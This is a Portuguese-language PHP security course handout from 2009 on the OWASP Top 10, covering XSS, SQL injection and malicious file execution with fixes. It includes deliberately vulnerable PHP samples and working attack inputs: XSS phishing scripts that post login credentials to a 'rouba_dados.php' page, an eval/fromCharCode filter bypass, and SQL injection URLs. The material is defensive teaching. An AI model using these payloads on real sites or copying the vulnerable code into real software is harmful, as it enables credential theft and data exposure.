Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18
Top 10 OWASP com PHP
Compreendendo e tratando as 10 vulnerabilidades mais
críticas em aplicações web segundo o OWASP.
Por Er Galvão Abbott
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 1 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:18
Índice
Objetivo..................................................................................................................................4
Aviso.......................................................................................................................................4
Termos de Uso.......................................................................................................................5
Introdução..............................................................................................................................6
O que é o OWASP e por que é importante.......................................................................6
Vulnerabilidades != Ataques..............................................................................................7
Top 10 OWASP – Listando as vulnerabilidades....................................................................7
Trabalhando com o conceito de Dado Contaminado............................................................8
Top 10 OWASP – Detalhamento...........................................................................................9
XSS – Cross Site Scripting................................................................................................9
Reflected........................................................................................................................9
Stored............................................................................................................................9
DOM Injection................................................................................................................9
Consequências Possíveis.............................................................................................9
Exemplo de código vulnerável....................................................................................10
Exemplos de exploração.............................................................................................10
Soluções insuficientes.................................................................................................11
Recomendações..........................................................................................................12
Recomendações específicas para PHP......................................................................12
Recomendações PHP na prática................................................................................13
Falhas de Injeção............................................................................................................14
Consequências Possíveis...........................................................................................14
Exemplo de código vulnerável....................................................................................15
Exemplos de exploração.............................................................................................15
Soluções insuficientes.................................................................................................16
Recomendações..........................................................................................................17
Recomendações específicas para PHP......................................................................17
Recomendações PHP na prática................................................................................18
Execução Maliciosa de Arquivo.......................................................................................22
Consequências possíveis............................................................................................22
Exemplo de código vulnerável....................................................................................23
Exemplos de exploração.............................................................................................23
Soluções insuficientes.................................................................................................24
Recomendações..........................................................................................................25
Recomendações específicas para PHP......................................................................25
Recomendações PHP na prática................................................................................26
Referência Insegura Direta à Objetos.............................................................................27
Exemplo de código vulnerável....................................................................................28
Soluções Insuficientes.................................................................................................29
Recomendações..........................................................................................................29
Recomendações PHP na prática................................................................................29
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 2 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
CSRF – Cross Site Request Forgery..............................................................................31
Consequências possíveis............................................................................................31
Exemplo de código vulnerável....................................................................................32
Soluções insuficientes.................................................................................................32
Recomendações..........................................................................................................32
Recomendações PHP na prática................................................................................33
Vazamento de Informações e Tratamento de Erros Inapropriado..................................34
Consequências possíveis............................................................................................34
Exemplo de código vulnerável....................................................................................35
Exemplos de exploração.............................................................................................35
Soluções insuficientes.................................................................................................35
Recomendações..........................................................................................................36
Recomendações específicas para PHP......................................................................36
Recomendações PHP na prática................................................................................37
Autenticação Falha e Gerenciamento de Sessão...........................................................38
Consequências possíveis............................................................................................38
Exemplo de código vulnerável....................................................................................38
Soluções insuficientes.................................................................................................39
Recomendações..........................................................................................................39
Recomendações PHP na prática................................................................................40
Armazenamento Criptográfico Inseguro..........................................................................41
Consequências possíveis............................................................................................41
Soluções insuficientes.................................................................................................42
Recomendações..........................................................................................................42
Recomendações específicas para PHP......................................................................43
Recomendações PHP na prática................................................................................43
Comunicações Inseguras................................................................................................44
Consequências possíveis............................................................................................44
Recomendações..........................................................................................................44
Falha de Restrição de Acesso à URL.........................................................................45
Consequências possíveis............................................................................................45
Exemplo de código vulnerável....................................................................................45
Soluções insuficientes.................................................................................................46
Recomendações..........................................................................................................46
Recomendações específicas para PHP .....................................................................47
Recomendações na prática.........................................................................................47
Conclusão............................................................................................................................48
Glossário..............................................................................................................................49
Referências..........................................................................................................................52
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 3 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Objetivo
Este curso tem por objetivo apresentar as 10 vulnerabilidades mais críticas em
aplicações web segundo o OWASP (Open Web Application Security Project), realizando
uma explanação sobre a anatomia de cada uma destas e que técnicas podem ser
utilizadas para prevenir a sua exploração por usuários mal-intencionados.
Serão apresentados, para propósitos puramente acadêmicos, exemplos práticos de
cada uma destas vulnerabilidades, de forma que cada aluno(a) compreenda causas e
consequências e tenha condições de desenvolver soluções próprias de defesa.
Aviso
São apresentados, neste material, exemplos práticos de exploração de
vulnerabilidades em aplicações web e propostas de soluções para a eliminação destas.
Estes exemplos são de propósito exclusivamente didático, não sendo
responsabilidade do autor o mau uso do código-fonte aqui apresentado, a garantia
de soluções definitivas para os problemas apresentados e/ou qualquer outra
consequência da execução/implementação do conteúdo deste material.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 4 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Termos de Uso
Este trabalho é licenciado por Er Galvão Abbott sob uma licença Creative
Commons Attribution Share-alike. Você é livre para:
Compartilhar: Copiar, distribuir e divulgar este material
●
Adaptar: Para modificar e adaptar este material
●
Sob as seguintes condições:
Atribuição: Deve constar, explicitamente, o título e o nome completo do autor deste
●
trabalho.
Compartilhamento similar: Se você modificar ou utilizar este material como
●
referência para um trabalho seu, este deve ser licenciado sob uma licença similar
ou compatível com esta.
Para qualquer reutilização ou distribuição deste material você deve deixar claro os
●
termos de licença deste.
Qualquer uma das condições acima pode ser dispensada se você obtiver a
permissão explícita do autor.
Nada nesta licença prejudica ou restringe os direitos morais do autor.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 5 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Introdução
O que é o OWASP e por que é importante
O OWASP (Open Web Application Security Project, ou Projeto Aberto para
Segurança de Aplicações Web) é uma comunidade aberta no formato Wiki,
suportada por uma fundação sem fins lucrativos. Tem como principal
objetivo disseminar conhecimento na área de segurança da informação, tendo como foco
principal o desenvolvimento de aplicações web.
Sendo uma iniciativa que não visa lucro e não é ligada à nenhuma empresa, o
OWASP provê informação livre de pressões comerciais e é orientado pelo consenso geral
dos profissionais envolvidos e pela execução prática de código-fonte.
O projeto provê extensa documentação sobre segurança da informação com uma
categorização extensa e de prática pesquisa, incluindo a categorização por linguagem.
Além disso, organiza eventos e procura prover soluções de código-fonte para as mais
diversas vulnerabilidades que põem em risco as aplicações web nos dias de hoje.
Embora seja baseado nos Estados Unidos, o OWASP é uma iniciativa internacional
tendo capítulos locais em diversos países do mundo, incluindo o Brasil. Isso significa que
a informação disponibilizada pelo projeto pode ser encontrada, através de traduções do
material original, nos mais diversos idiomas.
A importância do OWASP resume-se à sua própria existência: ao se criar este tipo
de iniciativa, que conta com o necessário apoio da massa de profissionais de TI, cria-se
um grande repositório que promove não apenas o conhecimento, mas a conscientização
para os riscos presentes para as aplicações web e a necessidade de se tomar atitudes à
respeito.
Além disso o mercado de desenvolvimento tem um crescimento e uma
profissionalização naturais decorrentes desta conscientização. É um ciclo benéfico:
quanto mais se divulga a importância do projeto mais se promove o amadurecimento das
aplicações web, tanto já disponíveis como novas e o mercado ganha a confiança de que
tanto precisa.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 6 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Vulnerabilidades != Ataques
A distinção é importante: o TOP 10 do OWASP mudou recentemente o foco,
concentrando-se apenas em vulnerabilidades. Ataques podem ser efetuados explorando
uma vulnerabilidade específica ou não. Um bom exemplo disto é o que chamamos de
Phishing: Um ataque de phishing pode ser feito em conjunto com a exploração de uma
vulnerabilidade XSS de um site, mas também pode ser feito simplesmente aproveitando-
se da ingenuidade de um usuário, ocultando uma URL maliciosa, mas não relacionada ao
site original, em um e-mail.
Vulnerabilidades, por sua vez, estão presentes ou não, em maior ou menor grau de
facilidade de exploração, em um software.
Top 10 OWASP – Listando as vulnerabilidades
O Top 10 é um dos muitos projetos do OWASP. Procura listar e rankear as dez
vulnerabilidades mais críticas em aplicações web, tomando como base a listagem feita
pela MITRE, uma corporação que trabalha junto à órgãos federais do governo Norte-
Americano.
A listagem é atualizada com uma certa periodicidade, sendo que a última
atualização (de 2007) será a que utilizaremos neste curso. Esta é o ranking oficial das 10
vulnerabilidades mais críticas em aplicações web, segundo o OWASP. Os itens marcados
com um asterisco foram incluídos na atualização de 2007:
1. XSS – Cross Site Scripting
2. Falhas de Injeção
3. Execução Maliciosa de Arquivos*
4. Referência Insegura Direta à Objetos
5. CSRF – Cross Site Request Forgeries*
6. Vazamento de Informações e Tratamento de Erros Inapropriado
7. Autenticação Falha e Gerenciamento de Sessão
8. Armazenamento Criptográfico Inseguro
9. Comunicações Inseguras
10. Falha de Restrição de Acesso à URL
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 7 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Trabalhando com o conceito de Dado Contaminado
Este é um conceito de extrema importância ao se trabalhar com segurança de
aplicações, e é por isso que daremos uma olhada nele antes de prosseguirmos.
O conceito é tão antigo, válido e simples que se aplica à qualquer tipo de aplicação
(desktop, cliente-servidor, web, etc...): Dados Contaminados. Trabalhar com este conceito
é, na realidade, uma boa prática, um dos (tantos) hábitos que são “saudáveis” ao se
desenvolver aplicações.
O conceito é basicamente este: Todo o dado recebido por uma aplicação,
quando enviado de uma fonte externa (seja essa fonte um usuário ou até mesmo outra
aplicação) deve ser tratado como contaminado (ou tainted em inglês) e considerado
inutilizável até que sofra um processo de tratamento e validação.
Vejamos um exemplo: um formulário codificado em UTF-8 envia diversas
informações para nosso script PHP. Vejamos como aplicar o conceito em um campo
específico: uma data. Para efeitos de exemplo consideraremos como válida uma data no
formato dd/mm/aaaa.
<?php
function dataOK($pData)
{
if (preg_match('/^\\d{2}\\/\\d{2}\\/\\d{4}$/', $pData)) {
return true;
} else {
return false;
}
}
if (dataOK(utf8_decode($_POST['data_cadastro']))) {
$data_cadastro_OK = utf8_decode($_POST['data_cadastro']);
}
/*
Restante do código, aplicando o mesmo conceito de validação em outros campos.
*/
$sql = “INSERT INTO cadastro (nome, email, data_cadastro) VALUES ('$nome_OK', '$email_OK',
'$data_cadastro_OK')”;
/*
Restante do código
*/
?>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 8 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Top 10 OWASP – Detalhamento
XSS – Cross Site Scripting
O que é: É a vulnerabilidade mais comum e perniciosa em aplicações web. Ocorre
quando uma aplicação recebe dados de um usuário e os retorna para o browser sem
validar ou codificar estes dados.
Tipos conhecidos: Refletido, Armazenado e Injeção de DOM.
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Reflected
O tipo mais simples de ilustrar, quando se trata de vulnerabilidades XSS é o
refletido: trata-se simplesmente de receber o input de um usuário e retornar diretamente
para o browser. Sua ocorrência é cada vez mais comum devido à popularização do AJAX
e dos mashups, tecnologias cujo foco é o retorno rápido de informação.
Na realidade pode-se argumentar que todo o XSS é refletido de alguma forma,
tornando este tipo uma espécie de base para o entendimento desta vulnerabilidade.
Stored
O tipo armazenado ocorre quando uma exploração da vulnerabilidade XSS é
armazenada em algum meio para que seja recuperada posteriormente, como bases de
dados ou arquivos HTML criados dinamicamente, por exemplo.
Isto aumenta consideravelmente o prejuízo causado por um ataque pelo simples
fato de que o ataque se repetirá automaticamente cada vez que a informação
armazenada for recuperada e exibida.
DOM Injection
O tipo injeção de DOM é perigoso na medida que trabalha manipulando e/ou
criando código client-side (normalmente Javascript) na página. Desta forma uma
variedade ampla de consequências se torna possível.
Consequências Possíveis
Defacement
●
Injeção de conteúdo inapropriado
●
Phishing
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 9 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo de código vulnerável
<?php
echo $_POST['comentario'];
?>
Exemplos de exploração
Exemplo #1 – Inserção de conteúdo
<img src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg” />
Exemplo #2 – Phishing
<script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”Sua sessão
expirou por inatividade. Por favor faça login novamente:<br /><form
action='http://www.galvao.eti.br/rouba_dados.php'><input type='text' name='login' size='10' /><br
/><input type='password' name='senha' size='10' /><inhput type='submit' value='Entrar' /></form>”;}</
script>
Exemplo #3 – Mais Phishing
<script type=”text/javascript”>window.onload=function() {document.body.innerHTML=”<iframe
src='http://www.galvao.eti.br/index' style='border: 0px; width: 100%; height: 100%; margin: 0px;
padding: 0px;'></iframe>”;}</script>
Exemplo #4 – Defacement
<script type=”text/javascript”>window.onload=function() {for (x = 0; x < document.images.length; x++)
{ document.images[x].src=”http://www.galvao.eti.br/images/er_galvao_abbott.jpg”; }}</script>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 10 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Soluções insuficientes
Em uma instalação default do interpretador PHP nenhum dos exemplos acima
funcionará, devido à uma configuração da linguagem chamada magic_quotes_gpc, que
faz o escape automático de aspas, tanto simples quanto duplas.
Esta configuração é uma solução insuficiente, porque se baseia no conceito de
black list. Sabendo-se que o tratamento é feito em cima de caracteres específicos, tudo o
que temos que fazer é nos adaptarmos. Como nossa intenção ao explorar essa
vulnerabilidade é afetar o lado cliente, precisamos encontrar uma solução cliente que nos
permita realizar o ataque.
Vejamos uma variação do Exemplo #3 que passa tranquilamente pela
magic_quotes_gpc:
<script>window.onload=function() { eval(String.fromCharCode(100) + String.fromCharCode(111) +
String.fromCharCode(99) + String.fromCharCode(117) + String.fromCharCode(109) +
String.fromCharCode(101) + String.fromCharCode(110) + String.fromCharCode(116) +
String.fromCharCode(46) + String.fromCharCode(98) + String.fromCharCode(111) +
String.fromCharCode(100) + String.fromCharCode(121) + String.fromCharCode(46) +
String.fromCharCode(105) + String.fromCharCode(110) + String.fromCharCode(110) +
String.fromCharCode(101) + String.fromCharCode(114) + String.fromCharCode(72) +
String.fromCharCode(84) + String.fromCharCode(77) + String.fromCharCode(76) +
String.fromCharCode(32) + String.fromCharCode(61) + String.fromCharCode(32) +
String.fromCharCode(34) + String.fromCharCode(60) + String.fromCharCode(105) +
String.fromCharCode(102) + String.fromCharCode(114) + String.fromCharCode(97) +
String.fromCharCode(109) + String.fromCharCode(101) + String.fromCharCode(32) +
String.fromCharCode(115) + String.fromCharCode(114) + String.fromCharCode(99) +
String.fromCharCode(61) + String.fromCharCode(39) + String.fromCharCode(104) +
String.fromCharCode(116) + String.fromCharCode(116) + String.fromCharCode(112) +
String.fromCharCode(58) + String.fromCharCode(47) + String.fromCharCode(47) +
String.fromCharCode(119) + String.fromCharCode(119) + String.fromCharCode(119) +
String.fromCharCode(46) + String.fromCharCode(103) + String.fromCharCode(97) +
String.fromCharCode(108) + String.fromCharCode(118) + String.fromCharCode(97) +
String.fromCharCode(111) + String.fromCharCode(46) + String.fromCharCode(101) +
String.fromCharCode(116) + String.fromCharCode(105) + String.fromCharCode(46) +
String.fromCharCode(98) + String.fromCharCode(114) + String.fromCharCode(47) +
String.fromCharCode(39) + String.fromCharCode(32) + String.fromCharCode(47) +
String.fromCharCode(62) + String.fromCharCode(34) + String.fromCharCode(59)); } </script>
Através de uma combinação de uma função eval e um método de geração de
caracteres (fromCharCode) e o mais importante, sem usar uma única aspa, o ataque se
torna bem-sucedido.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 11 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações
As soluções recomendadas pelo OWASP e pelos profissionais de segurança é,
similar ao magic_quotes_gpc, a filtragem dos dados, porém com uma diferença crucial: a
validação é feita através de white list, ou seja, apenas considerando-se caracteres
válidos.
Estas são as recomendações:
Validação de entrada de dados (input): Valide todos os dados que entrarem para
●
sua aplicação, considerando não apenas o seu valor, mas comprimento do dado,
tipo e regras de negócio. Não esqueça que mensagens de erro também podem
conter caracteres inválidos.
Codificando a saída de dados (output): Trate as entidades HTML apropriadamente
●
e aplique isso à todos os dados que são alimentados pelo(s) usuário(s). Acostume-
se à definir o encoding de suas páginas, de forma à evitar que diferentes encodings
sejam utilizados para forçar sua aplicação à aceitar caracteres inválidos.
Valide sempre por white lists: Como vimos no exemplo anterior o tratamento de
●
caracteres “inválidos” - como ocorre com a magic_quotes_gpc – é completamente
ineficiente, sendo relativamente simples de se construir maneiras de atravessar
este tipo de proteção.
Cuidado com erros de canonicalização: Entradas de dados devem ser
●
decodificadas e canonicalizadas antes da validação. Certifique-se de que sua
aplicação não decodifique a mesma entrada de dados mais de uma vez.
Recomendações específicas para PHP
Garanta a passagem dos dados pela função htmlentities ou use a Biblioteca Anti-
●
XSS do OWASP.
Desabilite a configuração register_globals, caso esteja ativada.
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 12 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações PHP na prática
<?php
echo htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true);
?>
Observe que utilizamos a função htmlentities no lugar da função htmlspecialchars
propositalmente. Isto é feito porque a primeira converte todos os caracteres possíveis
para suas entidades HTML, enquanto que a segunda converte apenas alguns caracteres,
tornando-se nada mais nada menos do que uma solução do tipo black list.
Em alguns casos é desejável permitir tags HTML. Quando algum destes casos
ocorrer ao invés de procurarmos por tags indesejáveis (solução black list) devemos
verificar apenas pelas tags que consideraremos válidas (solução white list):
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/
DTD/xhtml1-transitional.dtd\">
<html xmlns=\"http://www.w3.org/1999/xhtml\">
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\" />
<title>Insert title here</title>
</head>
<body>
<img src=\"http://www.galvao.eti.br/images/logoG.jpg\" />
<?php
$tags_validas = array('font', 'b', 'i', 'u');
foreach ($tags_validas as &$tv) {
$tv = '&lt;' . $tv . '&gt;';
}
$comentario = htmlentities($_POST['comentario'], ENT_QUOTES, 'UTF-8', true);
if (preg_match('/\\&lt\\;[a-z]+\\&gt\\;/mi', $comentario, $results)) {
foreach ($results as $r) {
if (!in_array($r, $tags_validas)) {
die('Tag inválida encontrada: ' . $r);
}
}
}
echo html_entity_decode($comentario, ENT_QUOTES, 'UTF-8');
?>
</body>
</html>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 13 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Falhas de Injeção
O que são: Falhas de injeção, particularmente SQL Injection, são extremamente comuns
em aplicações web. Elas ocorrem quando um dado enviado pelo usuário “engana” o
interpretador da linguagem, fazendo com que este execute comandos indesejáveis.
Tipos conhecidos: SQL, LDAP, XPath, XSLT, HTML, XML, Comandos de SOs, etc...
Ambientes afetados: Todo e qualquer ambiente web.
Detalhamento, Exemplos e Soluções:
Todas as falhas de injeção, independente de tipo, acontecem basicamente por uma
falta de validação e tratamento de dados de entrada (input) por parte do desenvolvedor.
O tipo de vulnerabilidade, neste caso, irá variar diretamente de acordo com o tipo
de ações que o sistema executa, ao contrário das vulnerabilidades XSS. Por exemplo,
uma aplicação que não faz consulta à nenhum RDBMS, não será vulnerável à Falhas de
Injeção de SQL.
Trataremos, neste material, da falha de injeção mais comum: SQL Injection.
Consequências Possíveis
Corrupção de dados
●
Exposição de dados
●
Inserção de registros maliciosos
●
DoS (Denial of Service)
●
Exposição de credenciais de acesso
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 14 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo de código vulnerável
<?php
require('config/config.php');
$conn = mysql_connect(SERVIDOR, USUARIO, SENHA);
mysql_select_db(DB);
$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM
produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $_GET['cat'] . '
LIMIT 10';
$resultado = mysql_query($sql);
while ($registro = mysql_fetch_assoc($resultado)) {
echo $registro['foto'] . ' &nbsp; ' . $registro['produto'] . '<br />';
echo $registro['categoria'] . '<br />';
echo $registro['descricao'];
echo '<br /><br />';
}
mysql_close();
?>
Neste exemplo, de listagem de produtos à partir de uma consulta à base de dados,
este script seria tipicamente acessado por uma URL, como no exemplo abaixo:
http://www.galvao.eti.br/lista_produtos.php?cat=1
Todavia, ao se permitir a entrada de informações que influenciarão a consulta sem
o devido cuidado de tratá-las antes de enviá-las ao RDBMS, permitimos a injeção de
caracteres que são sintaticamente interpretados pelo RDBMS:
Exemplos de exploração
Exemplo #1 – Listando todos os produtos
http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1
Exemplo #2 – Listando todos os produtos (mesmo!)
http://www.galvao.eti.br/lista_produtos.php?cat=1 or 1=1--
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 15 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo #3 – Provocando erros na execução da consulta
http://www.galvao.eti.br/lista_produtos.php?cat=1 or erro!;#$
Exemplo #4 – Investigando nomes de tabelas
http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios) > 0
Exemplo #5 – Investigando colunas e dados em tabelas diferentes
http://www.galvao.eti.br/lista_produtos.php?cat=1 and (select count(*) from usuarios where id_usuario
= 10) > 0
Soluções insuficientes
Um dos erros clássicos no tratamento de vulnerabilidades de injeção de SQL é a
precupação exclusiva com alguns caracteres (como a aspa simples, por exemplo). Esta
abordagem é equivalente, e consequentemente de fácil contorno, à qualquer solução
black list.
Observe que em nenhum dos exemplos acima utilizamos a aspa simples, mas
mesmo assim fomos capazes de executar explorações das mais perigosas. É por razões
como essa que a solução abaixo é ineficiente:
<?php
/* Este código é idêntico ao exemplo anterior com exceção da linha: */
$resultado = mysql_query(addslashes($sql));
?>
A função addslashes, de forma similar à configuração magic_quotes_gpc, trabalha
com o conceito de black list e pior ainda, de forma limitada, como ocorre com a função
htmlspecialchars.
Outro equívoco comum é procurar tratar este tipo de vulnerabilidade refinando-se a
consulta (o caso específico do LIMIT). Pela simples adição de dois hífens (que significam
“comentário” para a maioria dos RDBMSs) forçamos a aplicação à simplesmente ignorar o
limite pré-definido ou qualquer outro refinamento, como é demonstrado no Exemplo #2.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 16 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações
Por se tratar de um caso de certa forma similar às vulnerabilidades de XSS – onde
um dos pontos mais relevantes é a filtragem de dados – as recomendações para diminuir
os riscos de vulnerabilidades de injeção possuem alguns pontos em comum:
Validação de entrada de dados (input): Valide todos os dados que entrarem para
●
sua aplicação, considerando não apenas o seu valor, mas comprimento do dado,
tipo e regras de negócio. Não esqueça que mensagens de erro também podem
conter caracteres inválidos.
Queries tipadas e parametrizadas: Utilize APIs que permitam o uso de queries
●
parametrizadas e com tipagem forte, com marcadores de substituição.
Menos privilégios de acesso: Crie um usuário com permissões específicas para
●
aplicações que utilizem um RDBMS ou alguma outra forma de backend. Evite
utilizar um usuário com privilégios administrativos para uso na aplicação.
Menos informação: Evite mensagens de erro detalhadas, que forneçam muitos
●
detalhes à um atacante.
Use stored procedures: Por possuírem uma forte tipagem – tanto para parâmetros
●
como para retorno de valores – além de serem mais versáteis em termos de
código, as stored procedures são geralmente consideradas menos vulneráveis à
ataques de injeção.
Não execute queries dinâmicas diretamente: funções que executam queries
●
diretamente, como mysql_query ou pg_query, são normalmente mais vulneráveis.
Não use funções simples de escape: Funções como addslashes ou str_replace
●
provêem uma solução insuficiente para este tipo de vulnerabilidade.
Cuidado com erros de canonicalização: Entradas de dados devem ser
●
decodificadas e canonicalizadas antes da validação. Certifique-se de que sua
aplicação não decodifique a mesma entrada de dados mais de uma vez.
Recomendações específicas para PHP
Utilize a função addcslashes no lugar da addslashes: embora seja uma solução do
●
tipo black list, a função addcslashes permite ao programador identificar quais
caracteres devem ser escapados, dando maior liberdade ao programador.
Utilize APIs que possibilitem o uso de queries parametrizadas: PDO, ADODB, etc...
●
No ambiente de produção, ajuste as configurações display_errors para Off,
●
log_errors para On e defina o caminho do arquivo de log na configuração error_log.
Caso não seja possível consulte seu provedor.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 17 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Recomendações PHP na prática
<?php
require('config/config.php');
$conn = mysql_connect(SERVIDOR, USUARIO, SENHA);
mysql_select_db(DB);
// Tratando alguns caracteres sintáticos em SQL:
$entradaFiltrada = addcslashes($_GET['cat'], '\\'-*|/');
$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM
produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' .
$entradaFiltrada . ' LIMIT 10';
$resultado = mysql_query($sql);
while ($registro = mysql_fetch_assoc($resultado)) {
echo $registro['foto'] . ' &nbsp; ' . $registro['produto'] . '<br />';
echo $registro['categoria'] . '<br />';
echo $registro['descricao'];
echo '<br /><br />';
}
mysql_close();
?>
A solução acima, embora baseada em black list, é muito superior ao uso da função
addslashes: Desta vez estamos tratando diversos caracteres, como o hífen, impedindo
diversas das explorações que demonstramos anteriormente.
Uma das dificuldades ao se reforçar uma aplicação contra vulnerabilidades de
injeção é que nem sempre é simples implementarmos uma abordagem de white list. Em
nosso exemplo específico, entretanto, isso é relativamente simples, já que um id de
categoria necessita ser, explicitamente, numérico.
Veja o exemplo na próxima página.
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 18 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
<?php
require('config/config.php');
if (preg_match('/[^0-9]+/', $_GET['id'])) {
die('Dado inválido!');
} else {
$conn = mysql_connect(SERVIDOR, USUARIO, SENHA);
mysql_select_db(DB);
$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc
FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' .
$_GET['id'] . ' LIMIT 10';
$resultado = mysql_query($sql);
while ($registro = mysql_fetch_assoc($resultado)) {
echo $registro['foto'] . ' &nbsp; ' . $registro['produto'] . '<br />';
echo $registro['categoria'] . '<br />';
echo $registro['descricao'];
echo '<br /><br />';
}
mysql_close();
}
?>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 19 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
<?php
// Utilizando ADODB e queries parametrizadas.
// Além disso “implementamos” a tipagem de dados na ADODB
require_once '../libs/adodb5/adodb.inc.php';
$conn = &ADONewConnection('mysql');
$conn->debug = true;
$conn->Connect(SERVIDOR, USUARIO, SENHA, DB);
$sql = 'SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao as desc FROM
produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ' . $conn-
>Param('id') . ' LIMIT 1';
$resultado = $conn->Execute($sql, array('id' => (int)$_GET['id']));
while (!$resultado->EOF) {
echo $resultado->fields('foto') . ' &nbsp; ' . $resultado->fields('produto') . '<br />';
echo $resultado->fields('categoria') . '<br />';
echo $resultado->fields('descricao');
echo '<br /><br />';
$resultado->MoveNext();
}
$conn->Close();
?>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 20 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
<?php
// Utilizando PDO
$dsn = 'mysql:dbname=foo;host=127.0.0.1';
$user = 'usuario';
$password = 'senha';
try {
$conn = new PDO($dsn, $user, $password);
} catch (PDOException $e) {
die('Falha na conexão.');
}
$sql = $conn->prepare('SELECT p.nome as produto, c.nome as categoria, p.foto as foto, p.descricao
as desc FROM produtos p, categorias c WHERE p.id_produto = c.id_categoria and c.id_categoria = ?
LIMIT 1');
$sql->bindParam(1, $_GET['id'], PDO::PARAM_INT);
$sql->execute();
while ($resultado = $sql->fetch(PDO::FETCH_ASSOC)) {
echo $resultado['foto'] . ' &nbsp; ' . $resultado['produto'] . '<br />';
echo $resultado['categoria'] . '<br />';
echo $resultado['descricao'];
echo '<br /><br />';
}
?>
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 21 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Execução Maliciosa de Arquivo
O que é: É uma vulnerabilidade comum que ocorre principalmente quando o
desenvolvedor confia em uma entrada de dados para concatená-la para utilização em
funções de arquivo ou de stream. Ocorre também na utilização de arquivos enviados por
uma fonte externa, sem que haja a validação apropriada.
Tipos conhecidos: -
Ambientes afetados: Qualquer ambiente web que aceite que o usuário entre dados para
utilização em nomes de arquivo ou que aceite upload de arquivos. A linguagem PHP é
particularmente vulnerável devido à possibilidade de utilizar arquivos remotos e ao
suporte à SMB (compartilhamento de arquivos, impressoras e portas seriais via rede).
Detalhamento, Exemplos e Soluções:
Este tipo de vulnerabilidade ocorre, basicamente, pela falta de uma validação e
tratamento apropriado da informação em dois casos:
1. Quando dados enviados pelo usuário são utilizados diretamente por funções de
tratamento de arquivo ou streams.
2. Quando existe a possibilidade de upload de arquivo por parte do usuário.
Consequências possíveis
Execução de código remoto
●
Instalação de rootkits
●
Acesso inapropriado à arquivos
●
Comprometimento total do sistema
●
2009 by Er Galvão Abbott – http://www.galvao.eti.br/ – Página 22 / 52

Top 10 OWASP com PHP – v. 1.0 – rev. 474 2009-03-25 10:44:19
Exemplo de código vulnerável
<?php
$arq = fopen($_GET['arq'], 'r');
while ($linha = fgets($arq)) {
echo $linha . \"<br />\";
}
fclose($arq);
?>
Exemplos de exploração
